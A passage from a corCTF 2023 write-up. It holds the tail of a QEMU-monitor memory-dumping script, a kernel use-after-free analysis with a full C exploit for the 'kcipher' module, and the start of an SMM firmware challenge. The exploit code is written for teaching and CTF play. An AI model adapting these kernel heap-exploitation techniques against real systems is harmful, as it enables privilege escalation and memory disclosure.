<span class="n">heap_leak</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">gs_address</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">),</span> <span class="mh">0x10</span><span class="p">)</span>
<span class="n">addr</span><span class="o">=</span> <span class="n">heap_leak</span> <span class="o">-</span> <span class="mh">0x400000</span>
                  <span class="mh">0x1b3000</span>

<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"(qemu)"</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="s">""</span>

<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"leaks"</span><span class="p">,</span> <span class="s">"wb+"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>

    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">300</span><span class="p">):</span>
        <span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">f</span><span class="s">"x/10000gx </span><span class="si">{</span><span class="n">addr</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
        <span class="n">leak</span> <span class="o">=</span> <span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"(qemu)"</span><span class="p">)</span>
        <span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span>
        <span class="n">addr</span> <span class="o">+=</span> <span class="mi">10000</span><span class="o">*</span><span class="mi">8</span><span class="p">;</span>

<span class="n">io</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<h2 id="kcipher-sec">kcipher</h2>
<p><img src="/assets/corctf2023-kcipher.png" alt="kcipher" /></p>

<p>Kcipher was a usual kernel pwn challenge. The challenge kernel module provides encryption functionality for <code class="language-plaintext highlighter-rouge">ROT</code>, <code class="language-plaintext highlighter-rouge">XOR</code>, <code class="language-plaintext highlighter-rouge">A1Z26</code> and <code class="language-plaintext highlighter-rouge">ATBASH</code>. We can select one of the operations and an argument for the operation, e.g. the value that will be used for XOR, and the module will create a file instance with the crypto operations as file operations and return a file descriptor to us.</p>

<p>Following is the important functionality in <code class="language-plaintext highlighter-rouge">device_ioctl</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="k">if</span> <span class="p">(</span><span class="n">param_2</span> <span class="o">==</span> <span class="o">-</span><span class="mh">0x12411100</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">puVar1</span> <span class="o">=</span> <span class="p">(</span><span class="n">uint</span> <span class="o">*</span><span class="p">)</span><span class="n">kmalloc_trace</span><span class="p">(</span><span class="n">___unregister_chrdev</span><span class="p">,</span><span class="mh">0x400dc0</span><span class="p">,</span><span class="mh">0x60</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">puVar1</span> <span class="o">==</span> <span class="p">(</span><span class="n">uint</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">lVar2</span> <span class="o">=</span> <span class="o">-</span><span class="mh">0xc</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="p">{</span>
      <span class="n">puVar1</span><span class="p">[</span><span class="mi">6</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
      <span class="n">fd</span> <span class="o">=</span> <span class="n">anon_inode_getfd</span><span class="p">(</span><span class="s">"kcipher-buf"</span><span class="p">,</span><span class="n">kcipher_cipher_fops</span><span class="p">,</span><span class="n">puVar1</span><span class="p">,</span><span class="mi">2</span><span class="p">);</span>
      <span class="k">if</span> <span class="p">(</span><span class="n">fd</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">kfree</span><span class="p">(</span><span class="n">puVar1</span><span class="p">);</span>
        <span class="k">return</span> <span class="p">(</span><span class="kt">long</span><span class="p">)</span><span class="n">fd</span><span class="p">;</span>
      <span class="p">}</span>
      <span class="n">lVar2</span> <span class="o">=</span> <span class="n">_copy_from_user</span><span class="p">(</span><span class="n">puVar1</span><span class="p">,</span><span class="n">param_3</span><span class="p">,</span><span class="mi">8</span><span class="p">);</span>
      <span class="k">if</span> <span class="p">(</span><span class="n">lVar2</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="n">puVar1</span> <span class="o">&lt;</span> <span class="mi">4</span><span class="p">)</span> <span class="p">{</span>
          <span class="n">strncpy</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="n">puVar1</span> <span class="o">+</span> <span class="mi">7</span><span class="p">),(</span><span class="o">&amp;</span><span class="n">ciphers</span><span class="p">)[</span><span class="o">*</span><span class="n">puVar1</span><span class="p">],</span><span class="mh">0x40</span><span class="p">);</span>
          <span class="k">return</span> <span class="p">(</span><span class="kt">long</span><span class="p">)</span><span class="n">fd</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="n">lVar2</span> <span class="o">=</span> <span class="o">-</span><span class="mh">0x16</span><span class="p">;</span>
      <span class="p">}</span>
      <span class="n">kfree</span><span class="p">(</span><span class="n">puVar1</span><span class="p">);</span>
    <span class="p">}</span>
  <span class="p">}</span>
</code></pre></div></div>

<p>Once we have a <code class="language-plaintext highlighter-rouge">fd</code> specific to the cryptographic operation, we can pass our input for encryption by writing to the <code class="language-plaintext highlighter-rouge">fd</code> which will execute the <code class="language-plaintext highlighter-rouge">cipher_write</code> function and obtain the encrypted result by reading from it which will execute the <code class="language-plaintext highlighter-rouge">cipher_read</code> function.</p>

<h3 id="bug">Bug</h3>
<p>The bug does not lay in any of the cryptographic operations as I initially anticipated. It is actually in the <code class="language-plaintext highlighter-rouge">device_ioctl</code> function shown above.</p>

<p>The module first allocates a chunk of size <code class="language-plaintext highlighter-rouge">0x60</code> which will store the <code class="language-plaintext highlighter-rouge">private_data</code> of the file struct created as a result of calling <code class="language-plaintext highlighter-rouge">anon_inode_getfd</code>. Afterwards it then copies 8 bytes from user space and checks if the first 4 bytes interpreted as integer are smaller 4. This integer specifies the index of the cryptographic operations one wants to execute. If the number is <strong>bigger or equal</strong> than 4 it frees the private data chunk, however the module does not close the file descriptor. Therefore, we have an <code class="language-plaintext highlighter-rouge">UAF</code> on a <code class="language-plaintext highlighter-rouge">kmalloc-96</code> chunk.</p>

<p>To exploit this we first obtained two <code class="language-plaintext highlighter-rouge">fds</code> for cryptographic operations. For the first one we triggered the vulnerability, freeing its <code class="language-plaintext highlighter-rouge">private_data</code> chunk. We then wrote 0x60 bytes to the second <code class="language-plaintext highlighter-rouge">fd</code> in order to trigger an allocation of a <code class="language-plaintext highlighter-rouge">kmalloc-96</code> chunk and therefore obtain the just freed <code class="language-plaintext highlighter-rouge">private_data</code> chunk. Since the <code class="language-plaintext highlighter-rouge">cipher_write</code> function uses <code class="language-plaintext highlighter-rouge">strncpy_from_user</code> we only filled <code class="language-plaintext highlighter-rouge">0xf</code> bytes of our buffer and then obtained a heap leak by reading the from the second fd.</p>

<p>We can obtain a heap leak this way, since the <code class="language-plaintext highlighter-rouge">private_data</code> chunk stores information about the buffer we provide for encryption. Specifially, it stores the pointer to the chunk allocated to hold our data at offset <code class="language-plaintext highlighter-rouge">0x10</code> as can be seen in the following disassembly of parts of the <code class="language-plaintext highlighter-rouge">cipher_write</code> function:</p>

<p><img src="/assets/corctf2023-kcipher2.png" alt="cipher_write" /></p>

<p>Having obtained a heap leak we thought about how we could exploit the UAF to escalate privileges to root but since this challenge also uses ramfs we decided to go the lazy route and simply search the heap for the flag. We obtained an AAR primitive by repeatedly overwriting the data chunk ptr stored in the UAFed <code class="language-plaintext highlighter-rouge">private_data</code> chunk and then reading from the corrupted <code class="language-plaintext highlighter-rouge">fd</code>.</p>

<h3 id="exploit-1">Exploit</h3>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define _GNU_SOURCE
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;fcntl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sched.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;errno.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdarg.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdbool.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdint.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/wait.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/prctl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/resource.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/msg.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/timerfd.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/ioctl.h&gt;</span><span class="cp">
</span>

<span class="cp">#define DEV_PATH "/dev/kcipher"   // the path the device is placed
</span>
<span class="cp">#define ulong unsigned long
#define PAGE_SZ 0x1000
#define FAULT_ADDR 0xdead0000
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4*PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
#define ARRAY_SIZE(a) (sizeof((a)) / sizeof((a)[0]))
#define HEAP_MASK 0xffff000000000000
#define KERNEL_MASK 0xffffffff00000000
</span>
<span class="cp">#define WAIT(void) {getc(stdin); \
                    fflush(stdin);}
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)
</span>
<span class="cp">#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
                        if(msgsnd(qid, &amp;msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) \
                            errExit("KMALLOC"); \
                        }
</span><span class="k">static</span> <span class="kt">void</span> <span class="nf">print_hex8</span><span class="p">(</span><span class="kt">void</span><span class="o">*</span> <span class="n">buf</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">len</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">uint64_t</span><span class="o">*</span> <span class="n">tmp</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)</span><span class="n">buf</span><span class="p">;</span>

    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="p">(</span><span class="n">len</span> <span class="o">/</span> <span class="mi">8</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"%d: %p "</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">tmp</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
        <span class="k">if</span> <span class="p">((</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">%</span> <span class="mi">2</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>

<span class="kt">void</span> <span class="nf">info</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">format</span><span class="p">,</span> <span class="p">...)</span> <span class="p">{</span>
    <span class="kt">va_list</span> <span class="n">args</span><span class="p">;</span>
    <span class="n">va_start</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="n">format</span><span class="p">);</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"[+] "</span><span class="p">);</span>
    <span class="n">vprintf</span><span class="p">(</span><span class="n">format</span><span class="p">,</span> <span class="n">args</span><span class="p">);</span>

    <span class="n">va_end</span><span class="p">(</span><span class="n">args</span><span class="p">);</span>
<span class="p">}</span>

<span class="kt">void</span> <span class="nf">error</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">format</span><span class="p">,</span> <span class="p">...)</span> <span class="p">{</span>
    <span class="kt">va_list</span> <span class="n">args</span><span class="p">;</span>
    <span class="n">va_start</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="n">format</span><span class="p">);</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"[x] "</span><span class="p">);</span>
    <span class="n">vprintf</span><span class="p">(</span><span class="n">format</span><span class="p">,</span> <span class="n">args</span><span class="p">);</span>

    <span class="n">va_end</span><span class="p">(</span><span class="n">args</span><span class="p">);</span>
<span class="p">}</span>

<span class="cp">#define CMD_ALLOC 0x13370000
#define CMD_FLIP  0x13370001
</span>
<span class="k">static</span> <span class="kt">void</span> <span class="nf">alloc</span><span class="p">(</span><span class="kt">int</span> <span class="n">fd</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">sz</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">int</span> <span class="n">off</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">CMD_ALLOC</span><span class="p">,</span> <span class="n">sz</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">errExit</span><span class="p">(</span><span class="s">"ioctl"</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span> <span class="nf">flip</span><span class="p">(</span><span class="kt">int</span> <span class="n">fd</span><span class="p">,</span> <span class="kt">int</span> <span class="n">off</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">CMD_FLIP</span><span class="p">,</span> <span class="n">off</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">errExit</span><span class="p">(</span><span class="s">"ioctl"</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">int</span> <span class="nf">get_cipher_fd</span><span class="p">(</span><span class="kt">int</span> <span class="n">fd</span><span class="p">,</span> <span class="kt">uint64_t</span> <span class="n">cipher_num</span><span class="p">,</span> <span class="n">bool</span> <span class="n">ok_fail</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">int</span> <span class="n">_fd</span> <span class="o">=</span> <span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="mh">0xedbeef00</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">cipher_num</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">_fd</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">ok_fail</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">errExit</span><span class="p">(</span><span class="s">"get_cipher_fd"</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="n">_fd</span><span class="p">;</span>
<span class="p">}</span>

<span class="cp">#define CRYPTO_ROT 0
#define CRYPTO_XOR 1
#define CRYPTO_ALZ26 2
#define CRYPTO_ATBASH 3
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">**</span> <span class="n">argv</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">int</span> <span class="n">fd</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">ret</span><span class="p">;</span>

    <span class="n">fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="n">DEV_PATH</span><span class="p">,</span> <span class="n">O_RDONLY</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">fd</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">errExit</span><span class="p">(</span><span class="s">"open"</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mh">0x1000</span><span class="p">];</span>
    <span class="n">read</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">);</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"Buf: %s </span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">buf</span><span class="p">);</span>
    <span class="n">print_hex8</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">);</span>

    <span class="kt">uint64_t</span> <span class="n">crypto_op</span> <span class="o">=</span> <span class="n">CRYPTO_XOR</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">crypto_arg</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">;</span>

    <span class="n">memset</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">));</span>
    <span class="kt">int</span> <span class="n">fd2</span> <span class="o">=</span> <span class="n">get_cipher_fd</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">crypto_arg</span> <span class="o">&lt;&lt;</span> <span class="mi">32</span> <span class="o">|</span> <span class="n">crypto_op</span><span class="p">,</span> <span class="nb">false</span><span class="p">);</span>
    <span class="n">get_cipher_fd</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="mh">0xdeadbeef</span><span class="p">,</span> <span class="nb">true</span><span class="p">);</span>
    <span class="kt">int</span> <span class="n">fd3</span> <span class="o">=</span> <span class="mi">5</span><span class="p">;</span>

    <span class="n">write</span><span class="p">(</span><span class="n">fd3</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mh">0x8</span><span class="p">);</span>

    <span class="n">memset</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">));</span>
    <span class="n">memset</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="sc">'A'</span><span class="p">,</span> <span class="mh">0xf</span><span class="p">);</span>

    <span class="n">ret</span> <span class="o">=</span> <span class="n">write</span><span class="p">(</span><span class="n">fd2</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">);</span>
    <span class="n">read</span><span class="p">(</span><span class="n">fd2</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mh">0x38</span><span class="p">);</span>

    <span class="n">print_hex8</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">);</span>

    <span class="kt">uint64_t</span><span class="o">*</span> <span class="n">p_buf</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)</span><span class="n">buf</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">heap_leak</span> <span class="o">=</span> <span class="n">p_buf</span><span class="p">[</span><span class="mh">0x2</span><span class="p">];</span>
    <span class="n">info</span><span class="p">(</span><span class="s">"heap_leak: %p </span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">heap_leak</span><span class="p">);</span>

    <span class="kt">uint64_t</span> <span class="n">read_addr</span> <span class="o">=</span> <span class="n">heap_leak</span> <span class="o">-</span> <span class="mh">0xa00000</span><span class="p">;</span>

    <span class="n">memset</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="mh">0x42</span><span class="p">,</span> <span class="mh">0x10</span><span class="p">);</span>
    <span class="n">p_buf</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="n">heap_leak</span><span class="p">;</span>
    <span class="n">p_buf</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="n">read_addr</span><span class="p">;</span>
    <span class="n">ret</span> <span class="o">=</span> <span class="n">write</span><span class="p">(</span><span class="n">fd2</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">);</span>

    <span class="n">info</span><span class="p">(</span><span class="s">"reading from : %p </span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">read_addr</span><span class="p">);</span>

    <span class="k">while</span><span class="p">(</span><span class="nb">true</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">memset</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="mh">0x42</span><span class="p">,</span> <span class="mh">0x10</span><span class="p">);</span>
        <span class="n">p_buf</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="n">read_addr</span><span class="p">;</span>
        <span class="n">ret</span> <span class="o">=</span> <span class="n">write</span><span class="p">(</span><span class="n">fd2</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">);</span>

        <span class="n">ret</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="n">fd3</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">));</span>
        <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x63</span> <span class="o">&amp;&amp;</span> <span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x6f</span> <span class="o">&amp;&amp;</span> <span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">2</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x72</span> <span class="o">&amp;&amp;</span> <span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">3</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x63</span>
                <span class="o">&amp;&amp;</span> <span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">4</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x74</span><span class="p">)</span> <span class="p">{</span>
                <span class="kt">char</span><span class="o">*</span> <span class="n">flag</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
                <span class="n">info</span><span class="p">(</span><span class="s">"flag found :) %s "</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
                <span class="n">print_hex8</span><span class="p">(</span><span class="o">&amp;</span><span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="mh">0x20</span><span class="p">);</span>
                <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
            <span class="p">}</span>
        <span class="p">}</span>
        <span class="n">read_addr</span> <span class="o">+=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="n">info</span><span class="p">(</span><span class="s">"flag not found :( </span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

    <span class="n">WAIT</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div></div>

<h2 id="smm-diary-sec">smm-diary</h2>
<p><img src="/assets/corctf2023-smm-diary.png" alt="smm-diary" /></p>

<p>Smm-diary was a very interesting challenge. We are tasked with exploiting a system firmware application running in a special x86 operating mode called System Management Mode (<code class="language-plaintext highlighter-rouge">SMM</code>). This mode is also called “ring -2” and is the most privileged execution mode on a x86 processor. It is used by system firmware like BIOS or UEFI and operates independently and transparent of any OS.</p>

<p>The System Management Interrupt (<code class="language-plaintext highlighter-rouge">SMI</code>) can be used to put a CPU into <code class="language-plaintext highlighter-rouge">SMM</code> mode. We can trigger an <code class="language-plaintext highlighter-rouge">SMI</code> from software by writing to I/O port <code class="language-plaintext highlighter-rouge">0x2b</code>. The code executed when in <code class="language-plaintext highlighter-rouge">SMM</code> mode is located in a specific region of memory called System Management RAM (<code class="language-plaintext highlighter-rouge">SRAM</code>). This memory region is only accessible in <code class="language-plaintext highlighter-rouge">SMM</code> mode.</p>

<h3 id="challenge">Challenge</h3>
<p>Besides a linux kernel and a couple of other files we are given a patch file for the <a href="https://github.com/tianocore/edk2">EDK II Project</a>. The patch adds a file to the Open Virtual Machine Firmware (OVMF) package that implements a simple diary application. We can store up to 20 notes in the diary and the notes can be at max 16 bytes long. After writing a note we can also read it or dump the whole diary. The logic of the application is implemented in a <code class="language-plaintext highlighter-rouge">SMI handler</code> and the flag is stored in a global variable:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">const</span> <span class="n">CHAR8</span> <span class="o">*</span><span class="n">Flag</span> <span class="o">=</span> <span class="s">"corctf{test_flag_test_flag_test}"</span><span class="p">;</span>

<span class="k">typedef</span> <span class="k">struct</span>
<span class="p">{</span>
    <span class="n">UINT8</span> <span class="n">Note</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span>
<span class="p">}</span><span class="n">DIARY_NOTE</span><span class="p">;</span>

<span class="cp">#define NUM_PAGES 20
</span>
<span class="p">...</span>

<span class="n">DIARY_NOTE</span> <span class="n">Book</span><span class="p">[</span><span class="n">NUM_PAGES</span><span class="p">];</span>
<span class="n">EFI_STATUS</span>
<span class="n">EFIAPI</span>
<span class="nf">CorctfSmmHandler</span> <span class="p">(</span>
    <span class="n">IN</span> <span class="n">EFI_HANDLE</span>  <span class="n">DispatchHandle</span><span class="p">,</span>
    <span class="n">IN</span> <span class="n">CONST</span> <span class="n">VOID</span>  <span class="o">*</span><span class="n">Context</span>         <span class="n">OPTIONAL</span><span class="p">,</span>
    <span class="n">IN</span> <span class="n">OUT</span> <span class="n">VOID</span>    <span class="o">*</span><span class="n">CommBuffer</span>      <span class="n">OPTIONAL</span><span class="p">,</span>
    <span class="n">IN</span> <span class="n">OUT</span> <span class="n">UINTN</span>   <span class="o">*</span><span class="n">CommBufferSize</span>  <span class="n">OPTIONAL</span>
    <span class="p">)</span>
<span class="p">{</span>
    <span class="n">COMM_DATA</span> <span class="o">*</span><span class="n">CommData</span> <span class="o">=</span> <span class="p">(</span><span class="n">COMM_DATA</span> <span class="o">*</span><span class="p">)</span><span class="n">CommBuffer</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="n">CommBufferSize</span> <span class="o">!=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">COMM_DATA</span><span class="p">))</span>
    <span class="p">{</span>
        <span class="n">DEBUG</span><span class="p">((</span><span class="n">DEBUG_INFO</span><span class="p">,</span> <span class="s">"Invalid size passed to %a</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">__FUNCTION__</span><span class="p">));</span>
        <span class="n">DEBUG</span><span class="p">((</span><span class="n">DEBUG_INFO</span><span class="p">,</span> <span class="s">"Expected Size: 0x%lx, got 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">COMM_DATA</span><span class="p">),</span> <span class="o">*</span><span class="n">CommBufferSize</span><span class="p">));</span>
        <span class="k">goto</span> <span class="n">Failure</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">if</span> <span class="p">((</span><span class="n">CommData</span><span class="o">-&gt;</span><span class="n">Cmd</span> <span class="o">==</span> <span class="n">ADD_NOTE</span> <span class="o">||</span> <span class="n">CommData</span><span class="o">-&gt;</span><span class="n">Cmd</span> <span class="o">==</span> <span class="n">GET_NOTE</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="n">CommData</span><span class="o">-&gt;</span><span class="n">Idx</span> <span class="o">&gt;=</span> <span class="n">NUM_PAGES</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="n">DEBUG</span><span class="p">((</span><span class="n">DEBUG_INFO</span><span class="p">,</span> <span class="s">"Invalid idx passed to %a</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">__FUNCTION__</span><span class="p">));</span>
        <span class="k">goto</span> <span class="n">Failure</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">switch</span> <span class="p">(</span><span class="n">CommData</span><span class="o">-&gt;</span><span class="n">Cmd</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="k">case</span> <span class="n">ADD_NOTE</span><span class="p">:</span>
